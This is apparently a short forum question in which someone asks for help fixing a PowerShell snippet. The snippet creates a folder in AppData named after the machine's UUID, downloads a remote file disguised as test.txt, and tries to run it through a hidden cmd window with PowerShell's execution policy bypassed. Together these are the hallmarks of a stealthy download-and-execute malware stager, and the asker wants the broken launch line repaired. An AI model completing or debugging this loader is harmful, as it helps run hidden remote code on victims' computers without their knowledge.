In powershell i can download a script in a specific random name created folder but i cannot find the right way to execute the script from there.Here the code that i used:
$uuid=(Get-WmiObject Win32_ComputerSystemProduct).UUID;
$path = $env:appdata+'\'+$uuid; $h=$path+'\d';
if(!(test-path $path)) { New-Item -ItemType Directory -Force -Path
$path;};
Invoke-WebRequest mywebsitefordownloadingscript -OutFile $path\\test.txt;
start-process -Windowstyle hidden cmd '/C
'powershell.exe' -exec bypass $path\\test.txt';
there was something missing in last string maybe the problem persist if i use '+$path+' too.
Any suggestions??